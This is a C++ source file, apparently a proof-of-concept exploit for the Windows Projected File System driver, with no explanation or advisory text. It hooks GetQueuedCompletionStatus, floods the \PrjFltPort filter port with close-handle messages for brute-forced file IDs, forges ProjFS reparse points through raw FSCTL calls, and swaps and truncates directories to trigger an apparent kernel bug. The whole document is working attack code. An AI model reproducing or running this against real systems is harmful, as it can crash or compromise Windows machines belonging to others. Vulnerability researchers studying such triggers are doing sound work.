Files

718 lines
18 KiB
C++

#include <iostream>
#include <Windows.h>
#include <fltuser.h>
#include <projectedfslib.h>
#pragma comment(lib, "projectedfslib.lib")
#pragma comment(lib, "FltLib.lib")
#include "ntdll.h"
#pragma comment(lib, "ntdll")
#include "detours.h"
#pragma comment(lib, "detours.lib")
PRJ_NAMESPACE_VIRTUALIZATION_CONTEXT gInstanceHandle;
HANDLE ghPort = 0;
struct __declspec(align(4)) _PRJ_CONNECTION_CONTEXT
{
GUID virtualizationInstanceID;
unsigned int Version;
USHORT VolumeLength;
WCHAR szVolume[256];
};
void PrintInstanceId() {
PRJ_VIRTUALIZATION_INSTANCE_INFO InstanceInfo;
HRESULT hr = PrjGetVirtualizationInstanceInfo(gInstanceHandle, &InstanceInfo);
if (FAILED(hr))
{
wprintf(L"Failed to create instance ID (0x%08x)\n", hr);
return;
}
OLECHAR* guidString;
StringFromCLSID(InstanceInfo.InstanceID, &guidString);
wprintf(L"InstanceId: %s\n", guidString);
LPCOLESTR lpsz = guidString;
GUID InstanceId;
hr = CLSIDFromString(lpsz, &InstanceId);
if (FAILED(hr))
{
wprintf(L"Failed to create instance ID (0x%08x)\n", hr);
return;
}
CoTaskMemFree(guidString);
}
void CreateVirtualizationRoot() {
const wchar_t* PrjRootName = LR"(c:\PrjTest)";
CreateDirectoryW(PrjRootName, nullptr);
HRESULT hr;
const wchar_t* rootName = LR"(c:\PrjTest\virtRoot)";
DeleteFileW(rootName);
RemoveDirectoryW(rootName);
if (!CreateDirectoryW(rootName, nullptr))
{
DWORD gle = GetLastError();
if (gle != ERROR_ALREADY_EXISTS) {
hr = HRESULT_FROM_WIN32(gle);
wprintf(L"Failed to create virtualization root (0x%08x)\n", hr);
}
return;
}
GUID instanceId;
hr = CoCreateGuid(&instanceId);
if (FAILED(hr))
{
wprintf(L"Failed to create instance ID (0x%08x)\n", hr);
return;
}
hr = PrjMarkDirectoryAsPlaceholder(rootName,
nullptr,
nullptr,
&instanceId);
if (FAILED(hr))
{
wprintf(L"Failed to mark virtualization root (0x%08x)\n", hr);
return;
}
}
HRESULT PrjStartEnumCallback(
const PRJ_CALLBACK_DATA* callbackData,
const GUID* enumerationId
)
{
//printf("MyStartEnumCallback\n");
return S_OK;
}
HRESULT PrjEndEnumCallback(
const PRJ_CALLBACK_DATA* callbackData,
const GUID* enumerationId
)
{
//printf("MyEndEnumCallback\n");
return S_OK;
}
HRESULT PrjGetEnumCallback(
const PRJ_CALLBACK_DATA* callbackData,
const GUID* enumerationId,
PCWSTR searchExpression,
PRJ_DIR_ENTRY_BUFFER_HANDLE dirEntryBufferHandle
)
{
//GetEnumHandler(callbackData->CommandId);
return S_OK;
}
HRESULT PrjGetPlaceholderInfoCallback(
const PRJ_CALLBACK_DATA* callbackData
)
{
return S_OK;
}
HRESULT PrjGetFileDataCallback(
const PRJ_CALLBACK_DATA* callbackData,
UINT64 byteOffset,
UINT32 length
)
{
return S_OK;
}
HRESULT PrjQueryFileNameCallback(
const PRJ_CALLBACK_DATA* callbackData
)
{
return S_OK;
}
HRESULT PrjNotificationCallback(
_In_ const PRJ_CALLBACK_DATA* callbackData,
_In_ BOOLEAN isDirectory,
_In_ PRJ_NOTIFICATION notification,
_In_opt_ PCWSTR destinationFileName,
_Inout_ PRJ_NOTIFICATION_PARAMETERS* operationParameters
)
{
return S_OK;
}
VOID PrjCancelCommandCallback(
_In_ const PRJ_CALLBACK_DATA* callbackData
) {
return;
}
void StartVirtualizatioInstance() {
PRJ_CALLBACKS callbackTable;
// Supply required callbacks.
callbackTable.StartDirectoryEnumerationCallback = PrjStartEnumCallback;
callbackTable.EndDirectoryEnumerationCallback = PrjEndEnumCallback;
callbackTable.GetDirectoryEnumerationCallback = PrjGetEnumCallback;
callbackTable.GetPlaceholderInfoCallback = PrjGetPlaceholderInfoCallback;
callbackTable.GetFileDataCallback = PrjGetFileDataCallback;
// The rest of the callbacks are optional.
callbackTable.QueryFileNameCallback = PrjQueryFileNameCallback;
callbackTable.NotificationCallback = PrjNotificationCallback;
callbackTable.CancelCommandCallback = PrjCancelCommandCallback;
HRESULT hr;
const wchar_t* rootName = LR"(c:\PrjTest\virtRoot)";
PRJ_NOTIFICATION_MAPPING NotificationMappings;
NotificationMappings.NotificationBitMask = PRJ_NOTIFY_FILE_PRE_CONVERT_TO_FULL;
NotificationMappings.NotificationRoot = L"";
PRJ_STARTVIRTUALIZING_OPTIONS options;
memset(&options, 0, sizeof(options));
options.NotificationMappingsCount = 1;
options.NotificationMappings = &NotificationMappings;
PRJ_NAMESPACE_VIRTUALIZATION_CONTEXT instanceHandle;
hr = PrjStartVirtualizing(rootName,
&callbackTable,
nullptr,
&options,
&instanceHandle);
if (FAILED(hr))
{
wprintf(L"Failed to start the virtualization instance (0x%08x)\n", hr);
return;
}
gInstanceHandle = instanceHandle;
}
struct _PRJ_REPARSE_DATA
{
int Version;
int dwFlags;
GUID virtualizationInstanceID;
PRJ_PLACEHOLDER_VERSION_INFO PlaceHolderVersionInfo;
unsigned __int16 PlaceHolderRelPathLength;
WCHAR szPlaceHolderRelPathBuffer[1];
};
struct _PRJ_REPARSE_DATA_BUFFER
{
ULONG ReparseTag;
USHORT ReparseDataLength;
USHORT Reserved;
_PRJ_REPARSE_DATA ReparseData;
};
HRESULT CreateFileWithReparsePoint(
PHANDLE pFileHandle,
LPCWSTR lpcwFileName,
_PRJ_REPARSE_DATA* ReparseData,
USHORT ReparseDataLength,
int Tag,
bool bDir) {
const WCHAR* ErrorMessage; // rdi
USHORT BufferLength; // bx
ULONG hr; // ebx MAPDST
_PRJ_REPARSE_DATA_BUFFER* ReparseDataBuffer; // rax MAPDST
int LastError; // eax
ULONG Size; // eax
size_t Length; // rax
*pFileHandle = NULL;
ErrorMessage = 0i64;
BufferLength = ReparseDataLength + 8;
if ((unsigned __int16)(ReparseDataLength + 8) > 0x4000u
|| ReparseDataLength != ReparseData->PlaceHolderRelPathLength + 0x11A)
{
hr = 0x80070057; // E_INVALIDARG
goto LABEL_12;
}
ReparseDataBuffer = (_PRJ_REPARSE_DATA_BUFFER*)calloc(1ui64, (unsigned __int16)(ReparseDataLength + 8));
if (!ReparseDataBuffer)
{
hr = 0x8007000E; // E_OUTOFMEMORY
LABEL_12:
Size = 2;
return hr;
}
ReparseDataBuffer->ReparseTag = Tag;
ReparseDataBuffer->ReparseDataLength = ReparseDataLength;
memcpy(&ReparseDataBuffer->ReparseData, ReparseData, ReparseDataLength);
//HANDLE FileHandle = CreateFileW(lpcwFileName, FILE_WRITE_ATTRIBUTES, 7u, 0i64, OPEN_ALWAYS, 0x2200000u, 0i64);
UNICODE_STRING usFileName = { 0 };
RtlInitUnicodeString(&usFileName, (PWSTR)lpcwFileName);
OBJECT_ATTRIBUTES ObjectAttributes = { 0 };
ObjectAttributes.Length = 0x30;
ObjectAttributes.ObjectName = &usFileName;
ULONG FileAttributes = FILE_ATTRIBUTE_NORMAL;
ULONG CreateOptions = FILE_SYNCHRONOUS_IO_ALERT;
if (bDir) {
CreateOptions = CreateOptions | FILE_DIRECTORY_FILE;
}
IO_STATUS_BLOCK IoStatusBlock = { 0 };
HANDLE FileHandle = NULL;
int Status = NtCreateFile(
&FileHandle,
FILE_WRITE_ATTRIBUTES | SYNCHRONIZE | FILE_WRITE_DATA,
&ObjectAttributes,
&IoStatusBlock,
0i64,
FileAttributes,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
FILE_OPEN_IF,
CreateOptions,
NULL,
0);
{
ULONG64 FileEndOfFileInfo = 2i64;
Status = NtSetInformationFile(FileHandle, &IoStatusBlock, &FileEndOfFileInfo, 8u, FileEndOfFileInformation);
printf("NtSetInformationFile 0x%x\n", Status);
}
if (DeviceIoControl(FileHandle, 0x900A4u, ReparseDataBuffer, BufferLength, 0i64, 0, 0i64, 0i64))// FSCTL_SET_REPARSE_POINT
{
hr = 0;
}
else
{
LastError = GetLastError();
hr = LastError;
if (LastError > 0)
hr = (unsigned __int16)LastError | 0x80070000;
ErrorMessage = L"Failed to send FSCTL_SET_REPARSE_POINT";
}
free(ReparseDataBuffer);
if (hr)
goto LABEL_12;
*pFileHandle = FileHandle;
return hr;
}
_PRJ_REPARSE_DATA* CreateReparseData(PCWSTR szRelPath, DWORD dwFlags, PUSHORT pLength) {
USHORT RelPathLength = MAX_PATH;
USHORT Length = RelPathLength + 0x11A;
_PRJ_REPARSE_DATA* ReparseData = (_PRJ_REPARSE_DATA*)calloc(1ui64, Length);
ReparseData->Version = 2;
ReparseData->PlaceHolderRelPathLength = RelPathLength;
ReparseData->dwFlags = dwFlags;
if (RelPathLength) {
memcpy(ReparseData->szPlaceHolderRelPathBuffer, szRelPath, RelPathLength);
}
*pLength = Length;
return ReparseData;
}
void PortInit() {
static HANDLE hPort = NULL;
static GUID InstanceId;
PRJ_VIRTUALIZATION_INSTANCE_INFO InstanceInfo;
HRESULT hr = PrjGetVirtualizationInstanceInfo(gInstanceHandle, &InstanceInfo);
InstanceId = InstanceInfo.InstanceID;
//PrjStopVirtualizing(gInstanceHandle);
_PRJ_CONNECTION_CONTEXT Context;
Context.VolumeLength = 0x100;
Context.Version = 1;
Context.virtualizationInstanceID = InstanceId;
wcscpy_s(Context.szVolume, L"c:\\");
ULONG SizeOfContext = sizeof(_PRJ_CONNECTION_CONTEXT);
HRESULT hResult = FilterConnectCommunicationPort(L"\\PrjFltPort", 0, &Context, SizeOfContext, NULL, &hPort);
//HRESULT hResult = FilterConnectCommunicationPort(L"\\PrjFltPort", 0, NULL, 0, NULL, &hPort);
printf("FilterConnectCommunicationPort hResult:%x\thPort:%x\n", hResult, hPort);
ghPort = hPort;
}
struct _PRJ_MSG_IN_HEADER
{
int MessageType;
int InputBufferSize;
};
struct _PRJ_VIR_INSTANCE_INFO
{
GUID virtualizationInstanceID;
int Tag;
};
struct _PRJ_MSG_CLOSE_FILE_HANDLER_IN_DATA
{
_PRJ_VIR_INSTANCE_INFO VirInstanceInfo;
char _1c[60];
UUID FileId;
};
struct _PRJ_MSG_CLOSE_FILE_HANDLER
{
_PRJ_MSG_IN_HEADER Header;
_PRJ_MSG_CLOSE_FILE_HANDLER_IN_DATA Data;
};
struct _PRJ_MSG_CLOSE_FILE_HANDLER_OUT_DATA
{
int MessageType;
int Size;
int Status;
};
GUID GetInstanceId() {
GUID InstanceId = { 0 };
PRJ_VIRTUALIZATION_INSTANCE_INFO InstanceInfo;
HRESULT hr = PrjGetVirtualizationInstanceInfo(gInstanceHandle, &InstanceInfo);
if (FAILED(hr))
{
wprintf(L"Failed to create instance ID (0x%08x)\n", hr);
return InstanceId;
}
InstanceId = InstanceInfo.InstanceID;
return InstanceId;
}
void PrjCloseFileHandler(HANDLE hPort, UUID FileId)
{
DWORD InputBufferLength = 0x1000;
PVOID InputBuffer = malloc(InputBufferLength);
DWORD OutputBufferLength = 0x1000;
PVOID OutputBuffer = malloc(OutputBufferLength);
memset(InputBuffer, 0, InputBufferLength);
memset(OutputBuffer, 0, OutputBufferLength);
DWORD BytesReturned = 0;
_PRJ_MSG_CLOSE_FILE_HANDLER Message = { 0 };
memset(&Message, 0, sizeof(Message));
Message.Header.MessageType = 0xa;
Message.Header.InputBufferSize = sizeof(Message);
Message.Data.VirInstanceInfo.Tag = 0x9000001C;
Message.Data.VirInstanceInfo.virtualizationInstanceID = GetInstanceId();
Message.Data.FileId = FileId;
memcpy(InputBuffer, &Message, sizeof(Message));
InputBufferLength = Message.Header.InputBufferSize;
HRESULT hResult = FilterSendMessage(hPort, InputBuffer, InputBufferLength, OutputBuffer, OutputBufferLength, &BytesReturned);
printf("FilterSendMessage hResult:%x\n", hResult);
_PRJ_MSG_CLOSE_FILE_HANDLER_OUT_DATA* pOutData = (_PRJ_MSG_CLOSE_FILE_HANDLER_OUT_DATA*)OutputBuffer;
return;
}
struct __declspec(align(4)) _PRJ_COMMAND_BUFFER
{
ULONG BufferLength;
int CmdType;
GUID VirtualizationInstanceID;
char Id[4];
char StreamUuid[16];
char StreamHandleUuid[16];
PRJ_PLACEHOLDER_VERSION_INFO PlaceHolderVersionInfo;
int Padding;
char Data[544];
int RelPathOffset;
int RelPathLength;
int FilePathOffset;
int FilePathLength;
ULONG Pid;
int ProcessNameOffset;
int ProcessNameLength;
int Padding2;
WCHAR RelPathBuffer[1];
WCHAR FilePathBuffer[1];
WCHAR ProcessNameBuffer[1];
};
typedef BOOL(WINAPI* _GetQueuedCompletionStatus)(
HANDLE CompletionPort,
LPDWORD lpNumberOfBytesTransferred,
PULONG_PTR lpCompletionKey,
LPOVERLAPPED* lpOverlapped,
DWORD dwMilliseconds
);
_GetQueuedCompletionStatus TrueGetQueuedCompletionStatus = NULL;
BOOL MyGetQueuedCompletionStatus(
HANDLE CompletionPort,
LPDWORD lpNumberOfBytesTransferred,
PULONG_PTR lpCompletionKey,
LPOVERLAPPED* lpOverlapped,
DWORD dwMilliseconds
) {
BOOL bResult = TrueGetQueuedCompletionStatus(CompletionPort, lpNumberOfBytesTransferred, lpCompletionKey, lpOverlapped, dwMilliseconds);
if (bResult) {
_PRJ_COMMAND_BUFFER* CommandBuffer = (_PRJ_COMMAND_BUFFER*)((char*)(*lpOverlapped) + sizeof(OVERLAPPED) + sizeof(_FILTER_MESSAGE_HEADER));
if (CommandBuffer->CmdType == 6) {
OLECHAR* guidString;
StringFromCLSID((REFCLSID )(CommandBuffer->StreamHandleUuid), &guidString);
wprintf(L"FileId: %s\n", guidString);
for (int i = 0; i < 0x100; ++i) {
UUID FileId = *(UUID*)(&(CommandBuffer->StreamHandleUuid));
FileId.Data1 = FileId.Data1 + i;
PrjCloseFileHandler(ghPort, FileId);
FileId = *(UUID*)(&(CommandBuffer->StreamHandleUuid));
FileId.Data1 = FileId.Data1 - i;
PrjCloseFileHandler(ghPort, FileId);
}
}
}
return bResult;
}
void LoadHook() {
TrueGetQueuedCompletionStatus = (_GetQueuedCompletionStatus)GetProcAddress(GetModuleHandleA("Kernel32.dll"), "GetQueuedCompletionStatus");
LONG error;
DetourRestoreAfterWith();
DetourTransactionBegin();
DetourUpdateThread(GetCurrentThread());
//DetourAttach(&(PVOID&)TrueFilterGetMessage, MyFilterGetMessage);
DetourAttach(&(PVOID&)TrueGetQueuedCompletionStatus, MyGetQueuedCompletionStatus);
error = DetourTransactionCommit();
if (error == NO_ERROR) {
printf("Detoured GetQueuedCompletionStatus().\n");
}
else {
printf("Error detouring GetQueuedCompletionStatus(): %d\n", error);
}
}
HRESULT __fastcall PrjpConstructLongPath(PCWSTR szFilePath, PCWSTR* pszLongPath2, PCWSTR* pszLongPath)
{
unsigned __int64 Length; // rbx
const WCHAR* szLongPath; // rax
Length = 0xFFFFFFFFFFFFFFFFui64;
do
++Length;
while (szFilePath[Length]);
*pszLongPath2 = 0i64;
if (Length < 0x104 || !wcsncmp(szFilePath, L"\\\\?\\", 4ui64))
{
*pszLongPath = szFilePath;
}
else
{
szLongPath = (WCHAR*)calloc(Length + 5, 2ui64);
*pszLongPath2 = szLongPath;
if (!szLongPath)
return 0x8007000E; // E_OUTOFMEMORY
if ((unsigned int)wcsncpy_s((PWSTR)szLongPath, Length + 5, L"\\\\?\\", 4i64)
|| (unsigned int)wcsncat_s((PWSTR)(*pszLongPath2), Length + 5, szFilePath, Length))
{
return 0x80004005; // E_FAIL
}
*pszLongPath = *pszLongPath2;
}
return 0;
}
HRESULT __fastcall PrjpReadReparsePoint(PCWSTR szFilePath, _PRJ_REPARSE_DATA_BUFFER** pReparseDataBuffer)
{
_PRJ_REPARSE_DATA_BUFFER* ReparseDataBuffer; // r15
PCWSTR ErrorMessage; // rdi
HRESULT hr; // ebx
unsigned __int64 Length; // rcx MAPDST
ULONG Size; // ecx MAPDST
HANDLE FileHandle; // rax MAPDST
signed int LastError; // eax
unsigned int* EventDescriptor; // rdx
LPCWSTR hr64; // [rsp+40h] [rbp-49h]
LPCWSTR szLongPath; // [rsp+40h] [rbp-49h] FORCED BYREF
PCWSTR pszLongPath2; // [rsp+48h] [rbp-41h] BYREF
Length = 0xFFFFFFFFFFFFFFFFui64;
hr64 = 0i64;
pszLongPath2 = 0i64;
ErrorMessage = 0i64;
FileHandle = (HANDLE)0xFFFFFFFFFFFFFFFFi64;
if (!pReparseDataBuffer)
{
hr = 0x80070057; // E_INVALIDARG
goto LABEL_3;
}
ReparseDataBuffer = (_PRJ_REPARSE_DATA_BUFFER*)calloc(1, 0x4000ui64);
if (!ReparseDataBuffer)
{
ErrorMessage = L"Couldn't allocate memory for Reparse Data";
hr = 0x8007000E; // E_OUTOFMEMORY
LABEL_3:
Size = 2;
return hr;
}
hr = PrjpConstructLongPath(szFilePath, &pszLongPath2, &szLongPath);
if (hr < 0)
{
ErrorMessage = L"PrjpConstructLongPath failed";
goto LABEL_21;
}
hr = 0;
FileHandle = CreateFileW(szLongPath, 0x80u, 3u, 0i64, 3u, 0x2200000u, 0i64);
if (FileHandle == (HANDLE)0xFFFFFFFFFFFFFFFFi64)
{
ErrorMessage = L"Failed to open file";
goto LABEL_14;
}
if (!DeviceIoControl(FileHandle, 0x900A8u, 0i64, 0, ReparseDataBuffer, 0x4000u, 0i64, 0i64))// FSCTL_GET_REPARSE_POINT
{
ErrorMessage = L"Failed to get reparse point";
LABEL_14:
LastError = GetLastError();
hr = LastError;
if (LastError > 0)
hr = (unsigned __int16)LastError | 0x80070000;
LABEL_21:
free(ReparseDataBuffer);
if (FileHandle == (HANDLE)0xFFFFFFFFFFFFFFFFi64)
goto LABEL_25;
goto LABEL_24;
}
if (ReparseDataBuffer->ReparseTag != 0x9000001C && ReparseDataBuffer->ReparseTag != 0xA0000022)
{
ErrorMessage = L"Another Reparse Tag Encountered";
hr = 0x8007112A;
goto LABEL_21;
}
*pReparseDataBuffer = ReparseDataBuffer;
LABEL_24:
CloseHandle(FileHandle);
LABEL_25:
if (pszLongPath2)
free((void*)pszLongPath2);
if (hr >= 0)
return hr;
if (hr != 0x80071126)
goto LABEL_3;
return hr;
}
void Trigger() {
BOOL bResult = FALSE;
HRESULT hr = 0;
USHORT Length = 0;
HANDLE DirFileHandle = NULL;
HANDLE FileHandle = NULL;
_PRJ_REPARSE_DATA* ReparseData = NULL;
bResult = RemoveDirectoryW(L"c:\\PrjTest\\virtroot");
DeleteFileW(L"c:\\PrjTest\\virtroot");
ReparseData = CreateReparseData(L"dd", 0x10, &Length);
hr = CreateFileWithReparsePoint(&DirFileHandle, L"\\??\\c:\\PrjTest\\virtroot2", ReparseData, Length, 0x9000001C, false);
_PRJ_REPARSE_DATA_BUFFER* pReparseDataBuffer = NULL;
hr = PrjpReadReparsePoint(L"c:\\PrjTest\\virtroot2", &pReparseDataBuffer);
pReparseDataBuffer = NULL;
bResult = MoveFileExW(L"c:\\PrjTest\\virtroot2", L"c:\\PrjTest\\virtroot", MOVEFILE_REPLACE_EXISTING);
hr = PrjpReadReparsePoint(L"c:\\PrjTest\\virtroot", &pReparseDataBuffer);
{
ULONG64 FileEndOfFileInfo = 0i64;
IO_STATUS_BLOCK IoStatusBlock = { 0 };
int Status = NtSetInformationFile(DirFileHandle, &IoStatusBlock, &FileEndOfFileInfo, 8u, FileEndOfFileInformation);
printf("NtSetInformationFile 0x%x\n", Status);
}
FileHandle = CreateFileW(L"c:\\PrjTest\\virtroot", GENERIC_READ | GENERIC_WRITE, 3u, 0i64, OPEN_ALWAYS, 0x2200000u, 0i64);
}
void Main()
{
LoadHook();
CreateVirtualizationRoot();
StartVirtualizatioInstance();
PrintInstanceId();
PortInit();
Trigger();
}
int wmain(int argc, WCHAR* argv[])
{
Main();
getchar();
return 0;
}